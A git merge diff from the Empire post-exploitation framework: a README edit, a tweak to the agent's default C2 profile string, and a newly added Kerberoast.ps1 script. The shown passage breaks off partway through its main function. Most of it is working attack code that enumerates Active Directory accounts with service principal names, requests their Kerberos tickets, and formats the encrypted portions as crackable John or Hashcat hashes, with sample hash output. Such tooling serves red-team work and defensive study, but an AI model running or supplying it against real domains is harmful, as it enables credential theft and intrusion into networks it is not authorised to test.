Merge branch '2.0_beta' of https://github.com/adaptivethreat/Empire into 2.0_beta
commit
42ec063d8a
|
@ -8,6 +8,8 @@ Empire relies heavily on the work from several other projects for its underlying
|
|||
|
||||
Empire is developed by [@harmj0y](https://twitter.com/harmj0y), [@sixdub](https://twitter.com/sixdub), [@enigma0x3](https://twitter.com/enigma0x3), [rvrsh3ll](https://twitter.com/424f424f), [@killswitch_gui](https://twitter.com/killswitch_gui), and [@xorrior](https://twitter.com/xorrior).
|
||||
|
||||
Feel free to join us on Slack! http://adaptiveempire.herokuapp.com/
|
||||
|
||||
## Contribution Rules
|
||||
|
||||
Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions.
|
||||
|
@ -19,4 +21,4 @@ Contributions are more than welcome! The more people who contribute to the proje
|
|||
* Use [approved PowerShell verbs](https://technet.microsoft.com/en-us/library/ms714428(v=vs.85).aspx) for any functions.
|
||||
* PowerShell Version 2 compatibility is **STRONGLY** preferred.
|
||||
* TEST YOUR MODULE! Be sure to run it from an Empire agent before submitting a pull to ensure everything is working correctly.
|
||||
* For additional guidelines for your PowerShell code itself, check out the [PowerSploit style guide](https://github.com/PowerShellMafia/PowerSploit/blob/master/README.md).
|
||||
* For additional guidelines for your PowerShell code itself, check out the [PowerSploit style guide](https://github.com/PowerShellMafia/PowerSploit/blob/master/README.md).
|
||||
|
|
|
@ -72,7 +72,7 @@ function Invoke-Empire {
|
|||
$WorkingHours,
|
||||
|
||||
[String]
|
||||
$Profile = '/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
|
||||
$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
|
||||
|
||||
[Int32]
|
||||
$LostLimit = 60,
|
||||
|
|
|
@ -0,0 +1,802 @@
|
|||
<#
|
||||
|
||||
Kerberoast.ps1
|
||||
Author: Will Schroeder (@harmj0y)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
|
||||
Note: the primary method of use will be Invoke-Kerberoast with
|
||||
various targeting options.
|
||||
|
||||
#>
|
||||
|
||||
function Get-DomainSearcher {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Helper used by various functions that builds a custom AD searcher object.
|
||||
|
||||
Author: Will Schroeder (@harmj0y)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: Get-NetDomain
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Takes a given domain and a number of customizations and returns a
|
||||
System.DirectoryServices.DirectorySearcher object. This function is used
|
||||
heavily by other LDAP/ADSI search function.
|
||||
|
||||
.PARAMETER Domain
|
||||
|
||||
Specifies the domain to use for the query, defaults to the current domain.
|
||||
|
||||
.PARAMETER LDAPFilter
|
||||
|
||||
Specifies an LDAP query string that is used to filter Active Directory objects.
|
||||
|
||||
.PARAMETER Properties
|
||||
|
||||
Specifies the properties of the output object to retrieve from the server.
|
||||
|
||||
.PARAMETER SearchBase
|
||||
|
||||
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
||||
Useful for OU queries.
|
||||
|
||||
.PARAMETER SearchBasePrefix
|
||||
|
||||
Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration").
|
||||
|
||||
.PARAMETER Server
|
||||
|
||||
Specifies an Active Directory server (domain controller) to bind to for the search.
|
||||
|
||||
.PARAMETER SearchScope
|
||||
|
||||
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
||||
|
||||
.PARAMETER ResultPageSize
|
||||
|
||||
Specifies the PageSize to set for the LDAP searcher object.
|
||||
|
||||
.PARAMETER SecurityMasks
|
||||
|
||||
Specifies an option for examining security information of a directory object.
|
||||
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
|
||||
|
||||
.PARAMETER Tombstone
|
||||
|
||||
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
|
||||
|
||||
.PARAMETER Credential
|
||||
|
||||
A [Management.Automation.PSCredential] object of alternate credentials
|
||||
for connection to the target domain.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-DomainSearcher -Domain testlab.local
|
||||
|
||||
Return a searcher for all objects in testlab.local.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon'
|
||||
|
||||
Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"
|
||||
|
||||
Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU).
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
System.DirectoryServices.DirectorySearcher
|
||||
#>
|
||||
|
||||
[OutputType('System.DirectoryServices.DirectorySearcher')]
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(ValueFromPipeline = $True)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Domain,
|
||||
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Alias('Filter')]
|
||||
[String]
|
||||
$LDAPFilter,
|
||||
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String[]]
|
||||
$Properties,
|
||||
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$SearchBase,
|
||||
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$SearchBasePrefix,
|
||||
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Server,
|
||||
|
||||
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
||||
[String]
|
||||
$SearchScope = 'Subtree',
|
||||
|
||||
[ValidateRange(1,10000)]
|
||||
[Int]
|
||||
$ResultPageSize = 200,
|
||||
|
||||
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
||||
[String]
|
||||
$SecurityMasks,
|
||||
|
||||
[Switch]
|
||||
$Tombstone,
|
||||
|
||||
[Management.Automation.PSCredential]
|
||||
[Management.Automation.CredentialAttribute()]
|
||||
$Credential = [Management.Automation.PSCredential]::Empty
|
||||
)
|
||||
|
||||
PROCESS {
|
||||
|
||||
if ($Domain) {
|
||||
$TargetDomain = $Domain
|
||||
}
|
||||
else {
|
||||
$TargetDomain = (Get-NetDomain).name
|
||||
}
|
||||
|
||||
if ($Credential -eq [Management.Automation.PSCredential]::Empty) {
|
||||
if (-not $Server) {
|
||||
try {
|
||||
# if there's no -Server specified, try to pull the primary DC to bind to
|
||||
$BindServer = ((Get-NetDomain).PdcRoleOwner).Name
|
||||
}
|
||||
catch {
|
||||
throw 'Get-DomainSearcher: Error in retrieving PDC for current domain'
|
||||
}
|
||||
}
|
||||
}
|
||||
elseif (-not $Server) {
|
||||
try {
|
||||
$BindServer = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
|
||||
}
|
||||
catch {
|
||||
throw 'Get-DomainSearcher: Error in retrieving PDC for current domain'
|
||||
}
|
||||
}
|
||||
|
||||
$SearchString = 'LDAP://'
|
||||
|
||||
if ($BindServer) {
|
||||
$SearchString += $BindServer
|
||||
if ($TargetDomain) {
|
||||
$SearchString += '/'
|
||||
}
|
||||
}
|
||||
|
||||
if ($SearchBasePrefix) {
|
||||
$SearchString += $SearchBasePrefix + ','
|
||||
}
|
||||
|
||||
if ($SearchBase) {
|
||||
if ($SearchBase -Match '^GC://') {
|
||||
# if we're searching the global catalog, get the path in the right format
|
||||
$DN = $SearchBase.ToUpper().Trim('/')
|
||||
$SearchString = ''
|
||||
}
|
||||
else {
|
||||
if ($SearchBase -match '^LDAP://') {
|
||||
if ($SearchBase -match "LDAP://.+/.+") {
|
||||
$SearchString = ''
|
||||
}
|
||||
else {
|
||||
$DN = $SearchBase.Substring(7)
|
||||
}
|
||||
}
|
||||
else {
|
||||
$DN = $SearchBase
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {
|
||||
$DN = "DC=$($TargetDomain.Replace('.', ',DC='))"
|
||||
}
|
||||
}
|
||||
|
||||
$SearchString += $DN
|
||||
Write-Verbose "Get-DomainSearcher search string: $SearchString"
|
||||
|
||||
if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
|
||||
Write-Verbose "Using alternate credentials for LDAP connection"
|
||||
$DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
|
||||
$Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
|
||||
}
|
||||
else {
|
||||
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
|
||||
}
|
||||
|
||||
$Searcher.PageSize = $ResultPageSize
|
||||
$Searcher.SearchScope = $SearchScope
|
||||
$Searcher.CacheResults = $False
|
||||
|
||||
if ($Tombstone) {
|
||||
$Searcher.Tombstone = $True
|
||||
}
|
||||
|
||||
if ($LDAPFilter) {
|
||||
$Searcher.filter = $LDAPFilter
|
||||
}
|
||||
|
||||
if ($SecurityMasks) {
|
||||
$Searcher.SecurityMasks = Switch ($SecurityMasks) {
|
||||
'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }
|
||||
'Group' { [System.DirectoryServices.SecurityMasks]::Group }
|
||||
'None' { [System.DirectoryServices.SecurityMasks]::None }
|
||||
'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }
|
||||
'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }
|
||||
}
|
||||
}
|
||||
|
||||
if ($Properties) {
|
||||
# handle an array of properties to load w/ the possibility of comma-separated strings
|
||||
$PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }
|
||||
$Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad))
|
||||
}
|
||||
|
||||
$Searcher
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Convert-LDAPProperty {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Helper that converts specific LDAP property result fields and outputs
|
||||
a custom psobject.
|
||||
|
||||
Author: Will Schroeder (@harmj0y)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Converts a set of raw LDAP properties results from ADSI/LDAP searches
|
||||
into a proper PSObject. Used by several of the Get-Net* function.
|
||||
|
||||
.PARAMETER Properties
|
||||
|
||||
Properties object to extract out LDAP fields for display.
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
System.Management.Automation.PSCustomObject
|
||||
|
||||
A custom PSObject with LDAP hashtable properties translated.
|
||||
#>
|
||||
|
||||
[OutputType('System.Management.Automation.PSCustomObject')]
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$Properties
|
||||
)
|
||||
|
||||
$ObjectProperties = @{}
|
||||
|
||||
$Properties.PropertyNames | ForEach-Object {
|
||||
if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
|
||||
# convert the SID to a string
|
||||
$ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0], 0)).Value
|
||||
}
|
||||
elseif ($_ -eq 'objectguid') {
|
||||
# convert the GUID to a string
|
||||
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
|
||||
}
|
||||
elseif ($_ -eq 'ntsecuritydescriptor') {
|
||||
$ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
|
||||
}
|
||||
elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
|
||||
# convert timestamps
|
||||
if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
|
||||
# if we have a System.__ComObject
|
||||
$Temp = $Properties[$_][0]
|
||||
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
|
||||
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
|
||||
$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
|
||||
}
|
||||
else {
|
||||
# otherwise just a string
|
||||
$ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
|
||||
}
|
||||
}
|
||||
elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
|
||||
# try to convert misc com objects
|
||||
$Prop = $Properties[$_]
|
||||
try {
|
||||
$Temp = $Prop[$_][0]
|
||||
Write-Verbose $_
|
||||
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
|
||||
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
|
||||
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
|
||||
}
|
||||
catch {
|
||||
$ObjectProperties[$_] = $Prop[$_]
|
||||
}
|
||||
}
|
||||
elseif ($Properties[$_].count -eq 1) {
|
||||
$ObjectProperties[$_] = $Properties[$_][0]
|
||||
}
|
||||
else {
|
||||
$ObjectProperties[$_] = $Properties[$_]
|
||||
}
|
||||
}
|
||||
|
||||
New-Object -TypeName PSObject -Property $ObjectProperties
|
||||
}
|
||||
|
||||
|
||||
function Get-NetDomain {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Returns a given domain object.
|
||||
|
||||
Author: Will Schroeder (@harmj0y)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current
|
||||
domain or the domain specified with -Domain X.
|
||||
|
||||
.PARAMETER Domain
|
||||
|
||||
Specifies the domain name to query for, defaults to the current domain.
|
||||
|
||||
.PARAMETER Credential
|
||||
|
||||
A [Management.Automation.PSCredential] object of alternate credentials
|
||||
for connection to the target domain.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-NetDomain -Domain testlab.local
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
System.DirectoryServices.ActiveDirectory.Domain
|
||||
|
||||
.LINK
|
||||
|
||||
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
|
||||
#>
|
||||
|
||||
[OutputType('System.DirectoryServices.ActiveDirectory.Domain')]
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(Position = 0, ValueFromPipeline = $True)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Domain,
|
||||
|
||||
[Management.Automation.PSCredential]
|
||||
[Management.Automation.CredentialAttribute()]
|
||||
$Credential = [Management.Automation.PSCredential]::Empty
|
||||
)
|
||||
|
||||
PROCESS {
|
||||
if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
|
||||
|
||||
Write-Verbose "Using alternate credentials for Get-NetDomain"
|
||||
|
||||
if (-not $Domain) {
|
||||
# if no domain is supplied, extract the logon domain from the PSCredential passed
|
||||
$TargetDomain = $Credential.GetNetworkCredential().Domain
|
||||
Write-Verbose "Extracted domain '$Domain' from -Credential"
|
||||
}
|
||||
else {
|
||||
$TargetDomain = $Domain
|
||||
}
|
||||
|
||||
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
|
||||
|
||||
try {
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "The specified domain does '$TargetDomain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
|
||||
$Null
|
||||
}
|
||||
}
|
||||
elseif ($Domain) {
|
||||
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
|
||||
try {
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust."
|
||||
$Null
|
||||
}
|
||||
}
|
||||
else {
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Get-SPNTicket {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Request the kerberos ticket for a specified service principal name (SPN).
|
||||
|
||||
Author: @machosec, Will Schroeder (@harmj0y)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
This function will either take one/more SPN strings, or one/more PowerView.User objects
|
||||
(the output from Get-NetUser) and will request a kerberos ticket for the given SPN
|
||||
using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
|
||||
portion of the ticket is then extracted and output in either crackable John or Hashcat
|
||||
format (deafult of John).
|
||||
|
||||
.PARAMETER SPN
|
||||
|
||||
Specifies the service principal name to request the ticket for.
|
||||
|
||||
.PARAMETER User
|
||||
|
||||
Specifies a PowerView.User object (result of Get-NetUser) to request the ticket for.
|
||||
|
||||
.PARAMETER OutputFormat
|
||||
|
||||
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
|
||||
Defaults to 'John'.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-SPNTicket -SPN "HTTP/web.testlab.local"
|
||||
|
||||
Request a kerberos service ticket for the specified SPN.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-SPNTicket
|
||||
|
||||
Request kerberos service tickets for all SPNs passed on the pipeline.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-NetUser -SPN | Get-SPNTicket -OutputFormat Hashcat
|
||||
|
||||
Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format.
|
||||
|
||||
.INPUTS
|
||||
|
||||
String
|
||||
|
||||
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
|
||||
|
||||
.INPUTS
|
||||
|
||||
PowerView.User
|
||||
|
||||
Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
PowerView.SPNTicket
|
||||
|
||||
Outputs a custom object containing the SamAccountName, DistinguishedName, ServicePrincipalName, and encrypted ticket section.
|
||||
#>
|
||||
|
||||
[OutputType('PowerView.SPNTicket')]
|
||||
[CmdletBinding(DefaultParameterSetName='RawSPN')]
|
||||
Param (
|
||||
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)]
|
||||
[ValidatePattern('.*/.*')]
|
||||
[Alias('ServicePrincipalName')]
|
||||
[String[]]
|
||||
$SPN,
|
||||
|
||||
[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)]
|
||||
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
|
||||
[Object[]]
|
||||
$User,
|
||||
|
||||
[Parameter(Position = 1)]
|
||||
[ValidateSet('John', 'Hashcat')]
|
||||
[Alias('Format')]
|
||||
[String]
|
||||
$OutputFormat = 'John'
|
||||
)
|
||||
|
||||
BEGIN {
|
||||
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
|
||||
}
|
||||
|
||||
PROCESS {
|
||||
if ($PSBoundParameters['User']) {
|
||||
$TargetObject = $User
|
||||
}
|
||||
else {
|
||||
$TargetObject = $SPN
|
||||
}
|
||||
|
||||
ForEach ($Object in $TargetObject) {
|
||||
if ($PSBoundParameters['User']) {
|
||||
$UserSPN = $Object.ServicePrincipalName
|
||||
$SamAccountName = $Object.SamAccountName
|
||||
$DistinguishedName = $Object.DistinguishedName
|
||||
}
|
||||
else {
|
||||
$UserSPN = $Object
|
||||
$SamAccountName = $Null
|
||||
$DistinguishedName = $Null
|
||||
}
|
||||
|
||||
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
|
||||
$TicketByteStream = $Ticket.GetRequest()
|
||||
if ($TicketByteStream) {
|
||||
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
|
||||
[System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201'
|
||||
$Parts.RemoveAt($Parts.Count - 1)
|
||||
$Hash = $Parts -join 'A48201'
|
||||
$Hash = $Hash.Insert(32, '$')
|
||||
|
||||
$Out = New-Object PSObject
|
||||
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
|
||||
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
|
||||
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
|
||||
|
||||
if ($OutputFormat -match 'John') {
|
||||
$HashFormat = "`$krb5tgs`$unknown:$Hash"
|
||||
}
|
||||
else {
|
||||
# hashcat output format
|
||||
$HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=proddfs,DC=pf,DC=fakedomain,DC=com SPN: E3514235-4B06-11D1-AB04-00C04FC2DCD2-ADAM/NAKCRA04.proddfs.pf.fakedomain.com:50000 *' + $Hash
|
||||
}
|
||||
$Out | Add-Member Noteproperty 'Hash' $HashFormat
|
||||
|
||||
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
|
||||
|
||||
Write-Output $Out
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Invoke-Kerberoast {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.
|
||||
|
||||
Author: Will Schroeder (@harmj0y), @machosec
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Implements code from Get-NetUser to quyery for user accounts with non-null service principle
|
||||
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
|
||||
The ticket format can be specified with -OutputFormat <John/Hashcat>
|
||||
|
||||
.PARAMETER Identity
|
||||
|
||||
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
|
||||
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
|
||||
Wildcards accepted. By default all accounts will be queried for non-null SPNs.
|
||||
|
||||
.PARAMETER AdminCount
|
||||
|
||||
Switch. Return users with adminCount=1.
|
||||
|
||||
.PARAMETER Domain
|
||||
|
||||
Specifies the domain to use for the query, defaults to the current domain.
|
||||
|
||||
.PARAMETER LDAPFilter
|
||||
|
||||
Specifies an LDAP query string that is used to filter Active Directory objects.
|
||||
|
||||
.PARAMETER SearchBase
|
||||
|
||||
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
|
||||
Useful for OU queries.
|
||||
|
||||
.PARAMETER Server
|
||||
|
||||
Specifies an Active Directory server (domain controller) to bind to.
|
||||
|
||||
.PARAMETER SearchScope
|
||||
|
||||
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
|
||||
|
||||
.PARAMETER ResultPageSize
|
||||
|
||||
Specifies the PageSize to set for the LDAP searcher object.
|
||||
|
||||
.PARAMETER Credential
|
||||
|
||||
A [Management.Automation.PSCredential] object of alternate credentials
|
||||
for connection to the target domain.
|
||||
|
||||
.PARAMETER OutputFormat
|
||||
|
||||
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
|
||||
Defaults to 'John'.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Invoke-Kerberoast | fl
|
||||
|
||||
SamAccountName : SQLService
|
||||
DistinguishedName : CN=SQLService,CN=Users,DC=testlab,DC=local
|
||||
ServicePrincipalName : MSSQLSvc/PRIMARY.testlab.local:1433
|
||||
Hash : $krb5tgs$unknown:30FFC786BECD0E88992CBBB017155C53$0343A9C8...
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Invoke-Kerberoast -Domain dev.testlab.local | ConvertTo-CSV -NoTypeInformation
|
||||
|
||||
"SamAccountName","DistinguishedName","ServicePrincipalName","Hash"
|
||||
"SQLSVC","CN=SQLSVC,CN=Users,DC=dev,DC=testlab,DC=local","MSSQLSvc/secondary.dev.testlab.local:1433","$krb5tgs$unknown:ECF4BDD1037D1D9E2E091ABBDC92F00E$0F3A4...
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
|
||||
|
||||
SamAccountName : SQLService
|
||||
DistinguishedName : CN=SQLService,CN=Users,DC=testlab,DC=local
|
||||
ServicePrincipalName : MSSQLSvc/PRIMARY.testlab.local:1433
|
||||
Hash : $krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Se
|
||||
rvice,OU=Accounts,OU=EnterpriseObjects,DC=proddfs,DC=pf,
|
||||
DC=fakedomain,DC=com SPN: E3514235-4B06-11D1-AB04-00C04F
|
||||
C2DCD2-ADAM/NAKCRA04.proddfs.pf.fakedomain.com:50000 *30
|
||||
FFC786BECD0E88992CBBB017155C53$0343A9C8A7EB90F059CD92B52
|
||||
....
|
||||
|
||||
.INPUTS
|
||||
|
||||
String
|
||||
|
||||
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
PowerView.SPNTicket
|
||||
|
||||
Outputs a custom object containing the SamAccountName, DistinguishedName, ServicePrincipalName, and encrypted ticket section.
|
||||
#>
|
||||
|
||||
[OutputType('PowerView.SPNTicket')]
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
||||
[Alias('SamAccountName', 'Name')]
|
||||
[String[]]
|
||||
$Identity,
|
||||
|
||||
[Switch]
|
||||
$AdminCount,
|
||||
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Domain,
|
||||
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Alias('Filter')]
|
||||
[String]
|
||||
$LDAPFilter,
|
||||
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$SearchBase,
|
||||
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Server,
|
||||
|
||||
[ValidateSet('Base', 'OneLevel', 'Subtree')]
|
||||
[String]
|
||||
$SearchScope = 'Subtree',
|
||||
|
||||
[ValidateRange(1,10000)]
|
||||
[Int]
|
||||
$ResultPageSize = 200,
|
||||
|
||||
[Management.Automation.PSCredential]
|
||||
[Management.Automation.CredentialAttribute()]
|
||||
$Credential = [Management.Automation.PSCredential]::Empty,
|
||||
|
||||
[ValidateSet('John', 'Hashcat')]
|
||||
[Alias('Format')]
|
||||
[String]
|
||||
$OutputFormat = 'John'
|
||||
)
|
||||
|
||||
BEGIN {
|
||||
$SearcherArguments = @{}
|
||||
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
||||
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
|
||||
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
||||
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
|
||||
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
||||
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
||||
$UserSearcher = Get-DomainSearcher @SearcherArguments
|
||||
|
||||
$GetSPNTicketArguments = @{}
|
||||
if ($PSBoundParameters['OutputFormat']) { $GetSPNTicketArguments['OutputFormat'] = $OutputFormat }
|
||||
|
||||
}
|
||||
|
||||
PROCESS {
|
||||
if ($UserSearcher) {
|
||||
$IdentityFilter = ''
|
||||
$Filter = ''
|
||||
$Identity | Where-Object {$_} | ForEach-Object {
|
||||
$IdentityInstance = $_
|
||||
if ($IdentityInstance -match '^S-1-.*') {
|
||||
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
||||
}
|
||||
elseif ($IdentityInstance -match '^CN=.*') {
|
||||
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
|
||||
}
|
||||
else {
|
||||
try {
|
||||
$Null = [System.Guid]::Parse($IdentityInstance)
|
||||
$IdentityFilter += "(objectguid=$IdentityInstance)"
|
||||
}
|
||||
catch {
|
||||
$IdentityFilter += "(samAccountName=$IdentityInstance)"
|
||||
}
|
||||
}
|
||||
}
|
||||
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
|
||||
$Filter += "(|$IdentityFilter)"
|
||||
}
|
||||
$Filter += '(servicePrincipalName=*)'
|
||||
|
||||
if ($PSBoundParameters['AdminCount']) {
|
||||
Write-Verbose 'Searching for adminCount=1'
|
||||
$Filter += '(admincount=1)'
|
||||
}
|
||||
if ($PSBoundParameters['LDAPFilter']) {
